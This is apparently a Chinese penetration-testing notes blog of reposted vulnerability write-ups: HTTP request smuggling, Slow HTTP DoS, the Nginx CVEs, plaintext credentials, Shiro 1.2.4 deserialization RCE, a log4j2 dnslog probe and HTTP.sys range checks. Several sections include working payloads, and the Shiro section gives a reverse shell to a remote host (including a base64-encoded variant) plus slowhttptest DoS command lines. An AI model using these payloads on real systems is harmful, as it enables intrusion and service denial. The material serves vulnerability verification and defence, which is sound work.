HTTP请求走私漏洞

HTTP请求走私漏洞

本文转自Atkxor 并作补充

简介

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列的方式的技术。请求走私漏洞本质上通常很关键,它使攻击者可以绕过安全控制,未经授权访问敏感数据并直接危害其他应用程序用户。

  • 利用Content-Length字段来判定请求体的内容长度
  • 利用Transfer-Encoding字段来判定请求体的结束位置

基础知识

Content-Length

Content-Length即为实体长度。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。通常如果 Content-Length 比实际长度短,会造成内容被截断;如果比实体内容长,会造成 pending。

Transfer-Encoding

历史上 Transfer-Encoding 可以有多种取值,但最新的 HTTP 规范里,只定义了一种传输编码:分块编码(chunked)。
分块编码相当简单,在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,报文中的实体需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的 CRLF(\r\n),也不包括分块数据结尾的 CRLF。最后一个分块长度值必须为 0,对应的分块数据没有内容,表示实体结束。

CL与TE解析优先级顺序

CL表示Content-Length,TE表示Transfer-Encoding。优先级顺序详见 RFC7230 section 3.3.3

1
2
3
4
5
If a message is received with both a Transfer-Encoding and a
Content-Length header field, the Transfer-Encoding overrides the
Content-Length. Such a message might indicate an attempt to perform
request smuggling (Section 9.5) or response splitting (Section 9.4)
and ought to be handled as an error. A sender MUST remove the received Content-Length field prior to forwarding such a message downstream.

TE 优先于 CL ,但可以通过一些方式绕过

请求走私分类

请求走私攻击包括将Content-Length标头和Transfer-Encoding 标头都放入单个HTTP请求中并进行处理,以便前端服务器和后端服务器以不同的方式处理请求。完成此操作的确切方式取决于两个服务器的行为:

  • CL不为0:前端代理服务器允许请求携带请求体,而后端服务器不允许请求携带请求体。
  • CL-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。
  • CL-TE:前端服务器使用Content-Length标头,而后端服务器使用Transfer- Encoding标头。
  • TE-TE:前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过某种方式混淆标头来诱导其中一台服务器不对其进行处理。
  • TE-CL:前端服务器使用Transfer-Encoding头,而后端服务器使用Content-Length头。

CL不为0

所有不携带请求体的HTTP请求都有可能受此影响,这里以GET请求为例。
当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的Content-Length头,不进行处理。这就有可能导致请求走私。
比如构造请求:

1
2
3
4
5
6
7
GET / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 44\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n
\r\n

注:\r\n表示 CRLF即换行

前端服务器处理了Content-Length,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求:
第一个请求:

1
2
GET / HTTP/1.1\r\n
Host: demo.com\r\n

第二个请求:

1
2
GET /secret HTTP/1.1\r\n
Host: demo.com\r\n

CL-CL漏洞

RFC7230规范:在RFC7230的第3.3.3节中的第四条中,规定当服务器收到的请求中包含两个Content-Length,而且两者的值不同时,需要返回400错误。
构造请求:

1
2
3
4
5
6
7
POST / HTTP/1.1\r\n
Host: demo.com\r\n
Content-Length: 5\r\n
Content-Length: 6\r\n
\r\n
12345\r\n
a

得到响应,返回400 Bad Request
image

触发过程:但是总有服务器不会严格的实现该规范,假设中间的代理服务器和后端的源站服务器在收到类似的请求时,都不会返回400错误,但是中间代理服务器按照第一个Content-Length的值对请求进行处理,而后端源站服务器按照第二个Content-Length的值进行处理。

CL-TE漏洞

CL-TE,就是当收到存在两个请求头的请求包时,前端代理服务器只处理Content-Length请求头,而后端服务器会遵守RFC2616的规定,忽略掉Content-Length,处理Transfer-Encoding请求头。
CL.TE实验环境

TE-TE漏洞

在这里,前端服务器和后端服务器都支持Transfer-Encoding标头,但是可以通过对标头进行某种方式的混淆来诱导其中一台服务器不对其进行处理。
详见 RFC7230 section 3.3.3.3

1
2
3
4
5
6
7
8
If a Transfer-Encoding header field is present in a response and
the chunked transfer coding is not the final encoding, the
message body length is determined by reading the connection until
it is closed by the server. If a Transfer-Encoding header field
is present in a request and the chunked transfer coding is not
the final encoding, the message body length cannot be determined
reliably; the server MUST respond with the 400 (Bad Request)
status code and then close the connection.

这里列出七种混淆方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

之所以在处理这些请求头时会出现问题,是因为在实际的HTTP协议实现中,很少有代码精确的遵循了其中的规范,以此导致面对变形的请求头时会出现不同的处理方式。
TE.CL实验环境

TE-CL漏洞

所谓TE-CL,就是当收到存在两个请求头的请求包时,前端代理服务器处理Transfer-Encoding这一请求头,而后端服务器处理Content-Length请求头。
TE.CL验环境

绕过前端服务器安全控制

利用CL-TE漏洞绕过

CL.TE实验环境

利用TE-CL漏洞绕过

TE.CL实验环境

漏洞防御

在前端服务器通过同一网络连接将多个请求转发到后端服务器的情况下,会出现HTTP请求走私漏洞,并且后端连接所使用的协议会带来两个服务器不同意边界的风险。要求。防止HTTP请求走私漏洞的一些通用方法如下:

  • 禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
  • 使用HTTP / 2进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
  • 前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。
    在某些情况下,可以通过使前端服务器规范歧义请求或使后端服务器拒绝歧义请求并关闭网络连接来避免漏洞。但是,这些方法比上面确定的通用缓解措施更容易出错。

参考文章

(https://paper.seebug.org/1048)
(https://portswigger.net/web-security/request-smuggling)
(https://portswigger.net/web-security/request-smuggling/exploiting)

电子邮件退信攻击

电子邮件退信攻击

本文转自zdnet 并作补充

杂记

有生活常识的朋友都知道,当我们寄出一封信件的时候,如果收信人的地址变更或一些特殊原因。你所寄出的信件将会被原址退回。实际上电子邮件也是有这个退信功能的。不过这个便利的功能却被网络黑客发现并加以利用,邮件退信攻击有成为了危害邮件安全的一个难题。

所谓邮件退信攻击,是将预攻击的对象伪造成发件人地址,而收件人设置为一系列其他邮件域并不存在的账号,这样当邮件大量发送,例如通过僵尸网络,由于收件人不存在,邮件系统将产生大量的退信给发件人地址。该发件人地址所属的真实服务器将收到大量的退信,增加服务器的负荷,也容易使该公司的邮件服务器被列入黑名单。

邮件退信攻击在程度上有所区别,上面介绍的这种攻击,被攻击者可能一天之内收到数百上千封各种退信。一般用户碰到的邮件退信攻击属于骚扰性质,垃圾邮件发送者在发送垃圾邮件时,常常随机的设置发件人,例如其中包括bobo@abc.com,当大量发送垃圾邮件时,有些邮件可能是以bobo@abc.com发送的,则bobo就可能收到退信,有时一天只有几封或几十封,但总是不断,让人十分郁闷。

退信信息通常比较有规律,例如发件人为空,或者为MAILER-DAEMON@xxx.com,主题一般为Undelivered Mail Returned等。有些用户采用关键字的技术将退信予以阻断,或者干脆限定阻止空发件人,但是这经常会把正常的退信也阻止掉,导致信息不畅。

一般而言,退信占一个公司的邮件量5%以上,这其中绝大部分是垃圾退信。如何防止收到这种垃圾退信,避免邮件退信攻击呢?

采用SPF或domain-key的技术。这两种技术的原理相似。例如sohu.com的SPF记录是sohu.com text = “v=spf1 ip4:61.135.130.0/23 ip4:61.135.132.0/23 (。。。sohu邮件服务器所属IP)all”;如果有人冒用sohu发送垃圾邮件,收件方如果采用了SPF过滤技术,就能判定这是假冒的垃圾邮件,将不会给sohu发送DNR了。

遗憾的是很多服务器不做SPF验证,因此即使您的公司设置了SPF记录,也不能阻止垃圾退信。

重点

此文其实是为了记念一下一个工具:Swaks

几乎绝大部分的邮件攻击都可以由它进行实践,之前测试其实很多现在大厂的消费级邮箱是有或多或少的问题的。

Slowhttptest Usage

Slowhttptest 对 Slow HTTP Dos 的误判

当场滑跪

前段时间在巡检公司项目的时候发现了HTTP慢速拒绝服务攻击(Slow HTTP Dos)
于是就下发让项目运维去修复了,但是反馈说明明配置了正确的参数,于是我当(zhi)场(jie)滑(dao)跪(qian) ORZ

image

发生了什么

所以是发生了什么?漏扫就那么垃圾和我过不去这么多误报?我还好好用 slowhttptest 去验证了,确实存在service available: NO的显示,图就不发了,拿阿B的给你们看看:
image

后来看得多了我发现(其实早就发现了),slowhttptest 的slowbody模式下很容易出现service available: NOreadheader就很容易通过测试
但是归根到底是否触发拒绝服务,肯定看:

    1. 网站载入延时
    1. 网站是否还可访问

在看了星球守护者 的漏洞复现后我发现,用 slowhttptest 验证 Slow HTTP Dos 真实存在,需要注意:

1
2
3
4
1. slow HTTP test status on Xth second:		X 数字较小,即较早就开始拒绝服务
2. service available: NO
3. Test ended on X+1th second
4. Exit status: Connection refused 这两点比较重要,真的拒绝服务了直接下一秒就停止测试了

image

不得不说

其实 Dos 类的漏洞你很不好说,因为访问量过大必然服务器承受不住,这个只能做缓解(流量分析、请求时限、扩容等等)
所以漏扫出来是否存在这个漏洞或者 slowhttptest 的service available: NO,有可能是看片面了(某些请求在开始或者后来被识别后被拒绝、中断,或者网页响应时间是否有某个范围内的增量变化等,尤其是这个增量变化,我曾经发现因为一个资产页面正常请求的数量会变化,时延直接从几百ms级变成几s级的)

好吧,okk

image

Plaintext Transmission

用户凭据明文传输

本文转自天泽岁月

漏洞描述

用户凭据通过未加密的通道传输。当我们在网站上面提交敏感数据到服务器的过程中未进行相关加密处理,导致攻击者通过中间人攻击方式(劫持、嗅探等)【如果加密方式是常见的加密也可以解密的(比如:MD5,RSA 等–另外base64只是一种编码方式并不算是加密!】即可获取到这些未加密的敏感数据。所有经过网关的流量都可以被黑客通过嗅探(ARP欺骗)的方式抓取到。

当攻击者获取到这些数据之后,就可以用这些信息以合法用户的身份进入到应用系统中——甚至可能进入到应用系统后台中,一旦进入到应用系统中那么就可以获取更多的敏感数据,以及更有机会发现更多的漏洞。

漏洞验证

找到网站或者web系统登录页面。

通过过对网站登录页面的请求进行抓包,分析其数据包中相关password(密码)参数的值是否为明文。

工具可用burp、wireshark、filder等等,抓包分析的密码

浏览器的F12中的“网络”模块功能并点击HTML进行筛选,点击登录即可获取到post或者get的请求头及请求主体的内容,如下图所示,就获取到了http明文登录的敏感数据了。

image

修复建议

由于用户凭据为敏感信息,应始终通过加密通道 (HTTPS) 传输,以避免被恶意用户拦截。因此应始终通过加密连接 (HTTPS) 将其传输到服务器。

如果不用 HTTPS,可以在网站前端用 Javascript 做密码加密,加密后再进行传输。(js被禁用了就GG)

使用正规的ca机构颁发的https证书

采用非对称加密方式(不可逆的加密方式)

参考学习

浅谈“密码明文传输”
渗透测试(二):敏感信息明文传输

CVE-2014-0133-Nginx

Nginx SPDY缓冲区溢出漏洞

本文转自山兔1 并作补充

注意

nginx SPDY实现存在基于堆的缓冲区溢出,允许攻击者利用漏洞提交特殊的请求使应用程序崩溃或执行任意代码。

如果是漏扫,扫出来的话,是没有用的,它是根据版本来确认nginx是否存在的漏洞的,具体得登陆服务器上看。

成因

Nginx 1.3.15 - 1.5.11 的版本都收此漏洞影响,原因是如果listen指令中的spdy选项被配置文件所调用,则编译时会使用ngx_http_spdy_module模块(默认不编译),并且没有--with-debug配置选项。

修复

此漏洞已在 Nginx 1.5.12 及 1.4.7 后被修复,问题补丁如下:

1
2
3
4
5
6
7
8
9
10
11
--- src/http/ngx_http_spdy.c
+++ src/http/ngx_http_spdy.c
@@ -1849,7 +1849,7 @@ static u_char *
ngx_http_spdy_state_save(ngx_http_spdy_connection_t *sc,
u_char *pos, u_char *end, ngx_http_spdy_handler_pt handler)
{
-#if (NGX_DEBUG)
+#if 1
if (end - pos > NGX_SPDY_STATE_BUFFER_SIZE) {
ngx_log_error(NGX_LOG_ALERT, sc->connection->log, 0,
"spdy state buffer overflow: "

请更新 Nginx 版本

Slow HTTP Dos

HTTP慢速拒绝服务攻击(Slow HTTP Dos)

本文摘自春告鳥libaisec

HTTP慢速拒绝服务攻击简介

HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用的连接没有被释放,那么服务器端将无法接受新的请求,导致拒绝服务。

HTTP慢速攻击原理(摘抄自倾旋师傅的博客:

既然是一个HTTP协议的缓慢攻击,这就要从HTTP协议说起了。

首先HTTP协议的报文都是一行一行的,类似于:

1
2
3
4
5
6
7
8
GET / HTTP/1.1\r\n
Host : payloads.online\r\n
Connection: keep-alive\r\n
Keep-Alive: 900\r\n
Content-Length: 100000000\r\n
Content_Type: application/x-www-form-urlencoded\r\n
Accept: *.*\r\n
\r\n

那么报文中的\r\n是什么?

\r\n代表一行报文的结束也被称为空行(CRLF),而\r\n\r\n代表整个报文的结束

从上面贴出的GET请求包可以看出,我们的客户端请求到服务器后,告知服务器这个连接需要保留。

通常我们知道HTTP协议采用“请求-应答”模式,当使用普通模式,即非KeepAlive模式时,每个请求/应答客户和服务器都要新建一个连接,完成之后立即断开连接(HTTP协议为无连接的协议);当使用Keep-Alive模式(又称持久连接、连接重用)时,Keep-Alive功能使客户端到服 务器端的连接持续有效,当出现对服务器的后继请求时,Keep-Alive功能避免了建立或者重新建立连接。

那么当我们客户端发送一个报文,不以CRLF结尾,而是10s发送一行报文,我们的报文需要80s才能发送完毕,这80s内,服务器需要一直等待客户端的CRLF,然后才能解析这个报文。

如果客户端使用更多的程序发送这样的报文,那么服务器端会给客户端留出更多的资源来处理、等待这迟迟不传完的报文。假设服务器端的客户端最大连接数是100个,我们使用测试程序先连接上100次服务器端,并且报文中启用Keep-Alive,那么其他正常用户101、102就无法正常访问网站了。

简单来说,就是我们每次只发一行,每次发送之间的间隔时间很长,这迟迟未发送结束的HTTP包会占用服务端的资源,当达到服务端处理请求的上限时,这时候再用户对网站正常请求,服务端也处理不了了,导致了拒绝服务。

HTTP慢速攻击分类

HTTP慢速攻击分为三类:

  • Slow headers
  • Slow body
  • Slow read

1,Slow headers

第一类是最经典的HTTP Slow慢速攻击,由rsnake发明的,原理在上面已介绍。

2,Slow body

第二类也叫做Slow HTTP POST

原理为在POST提交方式中,允许在HTTP的头中声明content-length,即POST内容的长度。

提交了恶意头之后,将需要传输的body缓慢进行发送,跟Slow headers类似,导致服务器端长时间等待需要传输的POST数据,当请求的数量变多后,达到了消耗服务器资源的效果,导致服务器宕机。

3,Slow Read attack

第三类攻击方式采用调整TCP协议中滑动窗口大小,来对服务器单次发送的数据大小进行控制,使得服务器需要对一个相应包分为很多个包来发送,想要使这种攻击效果明显,请求的资源要尽量大,这里很容易理解,当请求的资源越大,返回包才越大,这样才能分成更多的包让服务器发送,导致拒绝服务的产生。

也就是说,客户端以极低的速度来读取返回包,来消耗服务器的连接和内存资源。

HTTP慢速攻击实战

一般使用slowhttptest工具(安装方式很多,不再赘述)

工具简介

SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试工具,它可以工作在Linux,OSX和Cygwin环境以及Windows命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。

这个工具可以模拟低带宽耗费下的DoS攻击,比如慢速攻击,慢速HTTP POST,通过并发连接池进行的慢速读攻击(基于TCP持久时间)等。慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。

使用参数介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
测试模式:
-H slow header,slowloris默认采用此模式
-B slow body
-R 远程攻击又名Apache killer
-X slow read

报告选项:
-g 生成具有套接字状态更改的统计信息(默认关闭)
-o file_prefix 将统计信息输出保存在file.html和file.csv中(需要-g)
-v level 日志信息,详细级别0-4:致命,信息,错误,警告,调试

常规选项:
-c connections 连接目标连接数(50)
-i seconds 后续数据之间的间隔(以秒为单位)(10)
-l seconds 测试目标时间长度,以秒为单位(240)
-r rate 每秒连接数(50)
-s 如果需要,Content-Length标头的值(4096)
-t 在请求中使用的动词,对于slow header和response,默认为GET;对于slow body,默认为POST
-u URL 目标的绝对URL(http://localhost/)
-x 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
-f Content-Type标头的值(application/x-www-form-urlencoded)
-m 接受(Accept)标头的值(text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)

探测/代理选项:
-d host:port 为所有连接指定代理
-e host:port 为探测连接指定代理
-p seconds 指定等待时间来确认DoS攻击已经成功

range attack特定选项:
-a 标头中的起始位置
-b 标头中的结束位置

slow read特定选项:
-k 在连接中重复相同请求的次数。如果服务器支持永久连接,则用于成倍增加响应大小。
-n 从recv缓冲区读取操作之间的时间间隔,以秒为单位(1)
-w slow read模式中指定tcp窗口范围下限
-y slow read模式中指定tcp窗口范围上限
-z 在每次的read中,从buffer中读取数据量

对于三种类型的慢速攻击,分别给出payload:(摘抄的!)

Slow Header

1
slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http://vulurl.com

该攻击会像我们刚才讲的慢速传递HTTP报文,占用服务器资源让其等待我们最后的CRLF。

Slow Read

1
slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http://vulurl.com

该攻击会在Web服务器响应内容传输回来的时候,我们客户端缓慢的读取响应报文,这样服务器端也会一直等待客户端来接收完毕。

Slow Post

1
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http://vulurl.com

该攻击会构造一个POST数据包,将数据缓慢传输,使服务器端一直等待接收报文。

找一个存在漏洞的网址进行检测:

使用Slow Post的payload:(漏洞网址已高码)

1
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u https://xxxxxx

image

当显示为NO,则表示存在HTTP慢速攻击漏洞,可导致拒绝服务。

解决办法

针对不同的Server其对慢速http拒绝服务攻击防范方法也不同:

WebSphere

1、限制 HTTP 数据的大小

在WebSphere Application Server 中进行如下设置:

任何单个 HTTP 头的默认最大大小为 32768 字节。可以将它设置为不同的值。

HTTP 头的默认最大数量为 50。可以将它设置为不同的限制值。

另一种常见的 DOS 攻击是发送一个请求,这个请求会导致一个长期运行的 GET 请求。WebSphere Application Server Plug-in 中的 ServerIOTimeoutRetry 属性可限制任何请求的重试数量。这可以降低这种长期运行的请求的影响。

设置限制任何请求正文的最大大小。

2、设置keepalive参数

打开ibm http server安装目录,打开文件夹conf,打开文件httpd.conf,查找KeepAlive值,改ON为OFF,其默认为ON。

这个值说明是否保持客户与HTTP SERVER的连接,如果设置为ON,则请求数到达MaxKeepAliveRequests设定值时请求将排队,导致响应变慢。

详见参考链接

Weblogic

1、在配置管理界面中的协议->一般信息下设置 完成消息超时时间小于200

2、在配置管理界面中的协议->HTTP下设置 POST 超时、持续时间、最大 POST 大小为安全值范围。

详见参考链接

Nginx

1、通过调整$request_method,配置服务器接受http包的操作限制;

2、在保证业务不受影响的前提下,调整

1
2
3
4
5
client_max_body_size
client_body_buffer_size
client_header_buffer_size
large_client_header_buffersclient_body_timeout
client_header_timeout

的值,必要时可以适当的增加;

3、对于会话或者相同的ip地址,可以使用HttpLimitReqModule and HttpLimitZoneModule参数去限制请求量或者并发连接数;

4、根据CPU和负载的大小,来配置worker_processes 和 worker_connections的值,公式是:max_clients = worker_processes * worker_connections。

Apache

建议使用mod_reqtimeout和mod_qos两个模块相互配合来防护。

1、mod_reqtimeout用于控制每个连接上请求发送的速率。配置例如:

1
2
3
4
5
6
7
#请求头部分,设置超时时间初始为10秒,并在收到客户端发送的数据后,每接收到500字节数据就将超时时间延长1秒,但最长不超过40秒。可以防护slowloris型的慢速攻击。

RequestReadTimeout header=10-40,minrate=500

#请求正文部分,设置超时时间初始为10秒,并在收到客户端发送的数据后,每接收到500字节数据就将超时时间延长1秒,但最长不超过40秒。可以防护slow message body型的慢速攻击。

RequestReadTimeout body=10-40,minrate=500

需注意,对于HTTPS站点,需要把初始超时时间上调,比如调整到20秒。
示例:

1
2
3
4
LoadModule reqtimeout_module modules/mod_reqtimeout.so
<IfModule reqtimeout_module>
RequestReadTimeout header=10-40,minrate=500 body=10-40,minrate=500
</IfModule>

2、mod_qos用于控制并发连接数。配置例如:

当服务器并发连接数超过600时,关闭keepalive
QS_SrvMaxConnClose 600

限制每个源IP最大并发连接数为50
QS_SrvMaxConnPerIP 50
这两个数值可以根据服务器的性能调整。

更多关于qos_module配置参考
示例:

1
2
3
4
5
LoadModule qos_module modules/mod_qos.so
<IfModule qos_module>
QS_SrvMaxConnClose 600
QS_SrvMaxConnPerIP 50
</IfModule>

IHS服务器

请您先安装最新补丁包,然后启用mod_reqtimeout模块,在配置文件中加入:
LoadModule reqtimeout_module modules/mod_reqtimeout.so

为mod_reqtimeout模块添加配置:

1
2
<IfModule mod_reqtimeout.c>
RequestReadTimeout header=10-40,MinRate=500 body=10-40,MinRate=500

对于HTTPS站点,建议header=20-40,MinRate=500。

参见

F5负载均衡

F5负载均衡设备有相应的防护模块,如无购买可参考附件中的详细配置过程。
关于F5的慢速攻击防护配置,请参考Page1,Page2

IIS服务器

IIS可配置相关网站的Web.config如下:

1、WebLimits设置:

1
2
3
4
5
6
7
8
9
<configuration>
<system.applicationHost>
<webLimits connectionTimeout="00:00:30"
headerWaitTimeout="00:00:10"
dynamicIdleThreshold="150"
minBytesPerSecond="512"
/>
</system.applicationHost>
</configuration>

参考以下链接

2、headerLimits设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
<configuration>
<system.webServer>
<security>
<requestFiltering>
<requestLimits>
<headerLimits>
<add header="Content-type" sizeLimit="100" />
</headerLimits>
</requestLimits>
</requestFiltering>
</security>
</system.webServer>
</configuration>

参考

参考链接:

CVE-2017-7529-Nginx

nginx 整数溢出小结 cve-2017-7529

本文转自gaogaogaopipi

起因

这两天在做nginx整数溢出时出了点小岔子,经过学习对这个问题有了深入的了解,特此记录。

漏洞补丁以及平安银河实验室已经把这事说的很清楚了,在此记录原文地址

简单的说就是这么一回事:
HTTP的Range允许客户端分批次请求资源的一部分,如果服务端资源较大,可以通过Range来并发下载;
正常情况下组件代码中计算了Range的长度,防止溢出,可以构造恶意长度来绕过,从而读取缓存的头部数据,造成泄露。

细节要留意的就是range的相关定义,示例如下
Range:bytes=0-1024 表示访问第0到第1024字节;
Range:bytes=500-600,601-999,-300 表示分三块访问,分别是500到600字节,601到600字节,最后的300字节;

在Response头中设置:
Accept-Ranges:bytes 表示接受部分资源的请求;
Content-Range: bytes START-END/SIZE 表示返回的资源位置;其中SIZE等于Content-Length;如:Content-Range: bytes 500-600/1000

经过

测试站点:www.(我肯定是不能明说).com.cn

image

以站点的一张图片为例子,路径:/images/sq.jpg

image

上图可以看到正常情况下content-length的大小是8935bytes,也就是size的大小。
size大小就是我一开始搞混了的地方,清楚了size的大小那么根据平安银河实验室的文章就有如下过程:

image

上图可以看到正常的返回数据以及完整的ranges长度返回。

image

上图可以看到,选择返回后十个bytes得到的结果(8935-10=8925,所以是从8925开始返回。因为写定的end是总长减一,所以结尾的值是8934,所以此处statr=8925,end=8934),以及返回的range的位置。

image

上图是对上面的补充,可以看到在读取部分bytes时,完整的参数是从“多少”到“多少”,上面是从1到10

image

上图可以看到,在使用完整的输入模式,对-1开始读取的时候,触发了ngx_http_range_parse()
对statr的负值检查,所以报错,无法读取。
那么此时就如原文所说
因此,如果需要将start解析为负数,只能通过-end这类后缀型range参数实现

image

如上图,使用 -end 只设置一个大于8935的值,此时statr = 8935-9000 = -65,满足了负值。但按上文所说,statr是负值则会报错。
注意到此时并未报错,而是正常返回,原因是此处设置的range不是完整模式,虽然是负值,但是因为end的默认值是总长-1(8935-1=8934),那么此时这段要读取的range的范围是从 -65到 8934 其实际总长超过了 8935 所以nginx丢弃了range,所以正常返回。

重点

上面满足了传值为负值的条件,但是因为总长度检测的原因,导致丢弃range,那么如果绕过总长度检测?为什么这个漏洞要叫 整数溢出 漏洞呢?
这里注意到 ***start, end, size均为64位有符号整形,值的范围是-9223372036854775808 … 9223372036854775807 ,那么根据补丁中的代码 size += end - start

image

只要最终size的值是负值,即可溢出,从而绕过检测,所以叫 整数溢出
0x8000 0000 0000 0000既是64位有符号型的最小负值,所以只需要最终相加得到的size为0×8000000000000000即可。

注意 size += end -start;这等于如果存在多个range,那么就会有 size = size + (end - start)
也就是说在有多个range时,最终的size = size1 + size2 + … +sizeN
如上所说,只要size是负值即可溢出,那么就能得到第二个range的值,若第一个range是9500
那么0x8000000000000000-9500 既是第二个值

那么如下图:

image

成功!

结果

image

Shiro RememberMe 1.2.4

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

本文转自莫憨憨

影响版本:Apache Shiro <= 1.2.4

漏洞产生原因:

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。
然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。使用大佬脚本生成 payload(ysoserial.jar文件和运行目录处于同一目录)

漏洞环境搭建

1.拉取镜像

1
docker pull medicean/vulapps:s_shiro_1

2.启动环境

1
docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

如需进入环境,命令为

1
docker exec -it name /bin/bash

3.web访问

http://127.0.0.1 能看到如下页面即可

image

或虚拟机外面用真实ip访问

image

至此漏洞环境搭建成功

漏洞复现

1.抓包测试

查看返回包里setcookie有rememberme的字样

image

2.继续测试

首先最简单的测试方法是用dnslog,看看是否有回显。
利用POC生成想要执行的命令对应的rememberMe

3.工具准备

image

生成payload的脚本使用的是python3,运行报错就安装一下模块

4.生成payload:

双引号中是想要执行的命令,如果这里没有公网VPS,就用dnslog来证明。攻击原理一样,不认可的杠精可直接怼

1
py -3 shiro_1.2.4.py "ping 39p2wo.dnslog.cn"

运行结果如下图:

image

然后便会在脚本所在目录下生成文件payload.cookie

5.回到浏览器抓包

用payload.cookie中的rememberMe内容加入Cookie中,或者直接放进参数中,提交看页面回显和dnslog页面是否有数据过去

6.到ceye平台查看日志记录

dnslog日志刷新后有记录了,说明payloda执行成功

image

反弹shell

当然了,有VPS的情况下,为何不反弹一下shell呢?

1.使用脚本生成key

反弹shell的命令:bash -i >& /dev/tcp/22.45.13.9/7878 0>&1

1
py -3 shiro_1.2.4.py "bash -i >& /dev/tcp/22.45.13.9/7878 0>&1"

PS:ip假的,不打码,观看流畅

2.先公网VPS监听反弹shell的命令

1
nc -lvp 7878

image

3.加入payload,提交数据包

image

这里使用curl也能达到burp的效果

1
2
// 加 -I 是只看响应头,这里主要关注set-cookie:rememberMe
curl -X GET http://172.16.12.132 --cookie “xxxxxxxxxxxxx” -I

讲这个是因为此方法可以用来初步探测shiro信息

image

4.vps收到了反弹回来的shell

image

题外话1

研究这个漏洞,是因为客户要求排查下资产,然后找不到集成的工具和一键式检查的。
漏洞的事情OK了,还是觉得自己太菜,要是代码够给力,写个集成的丢github上就真的香。

题外话2

还有一个思路,看大佬文章时,这里一直没搞懂。字面意思是用ysoserial中的JRMP监听模块来搞定的,后续学会了再补上笔记

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 3888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMi84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

image

参考链接:

https://www.jianshu.com/p/0007eafd1f92
https://www.secpulse.com/archives/112742.html

dnslog-log4j2

dnslog简单验证log4j2漏洞

本文转自星夜

简单步骤

进dnslog:http://www.dnslog.cn/

Get SubDomain 得到一个随机的子域名

拼进${jndi:ldap://xxxxx.dnslog.cn/exp}

往任意可能在log中塞的输入填

这里拿tx玩,如群中发送,可得到tx云的记录

image

image

image

HTTP.sys远程代码执行

【渗透整理】HTTP.sys远程代码执行

本文转自久违 °

漏洞介绍

HTTP.sys是Microsoft Windows处理HTTP请求的内核驱动程序,为了优化IIS服务器性能,从IIS6.0引入,IIS服务进程依赖HTTP.sys。HTTP.sys远程代码执行漏洞实质是HTTP.sys的整数溢出漏洞,当攻击者向受影响的Windows系统发送特殊设计的HTTP 请求,HTTP.sys 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

影响环境:Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server 2008 R2/Server 2012/Server 2012 R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

漏洞知识

说到HTTP.sys远程代码执行漏洞,不得不先介绍一下Range首部字段。

在“上古时代”,网络并不是很好,下载大型文件很不容易。下载途中如果网络中断,就得重头开始下。为了解决这个问题,HTTP/1.1引入了范围请求。

在请求报文的Range首部字段中指定资源的byte范围,告诉服务器,请求的是资源哪个范围的内容,让断点续传和并行下载得以实现。

如果服务器支持范围请求,响应包中就会存在Accept-Ranges字段(且值不为“none”,bytes为资源范围的单位),并在Content-Length字段中告诉客户端资源的大小范围。

image

如果没有Accept-Ranges字段,则服务器可能不支持范围请求,有的服务器会明确将值设为“none”。

服务器面对范围请求,有三种响应:

请求成功:

响应206Partial Content请求范围越界:(范围超过资源的大小)

响应416Requested Range Not Satisfiable不支持范围请求:

响应200OK

而HTTP.sys远程代码执行漏洞正是利用Range字段注入恶意数据。该漏洞的检测,也是利用服务器面对范围请求时的响应特征来判断。

漏洞检测方法

1、先判断目标环境是否为Windows+IIS

2、然后构建Range字段进行检测即可

检测时,在请求包中添加Range字段,如下:

Range: bytes=0-18446744073709551615

【18446744073709551615的十六进制为0xFFFFFFFFFFFFFFFF(16个F)是64位无符号整数所能表达的最大整数,整数溢出和这个超大整数有关】

然后go给服务器

1
2
3
GET / HTTP/1.1
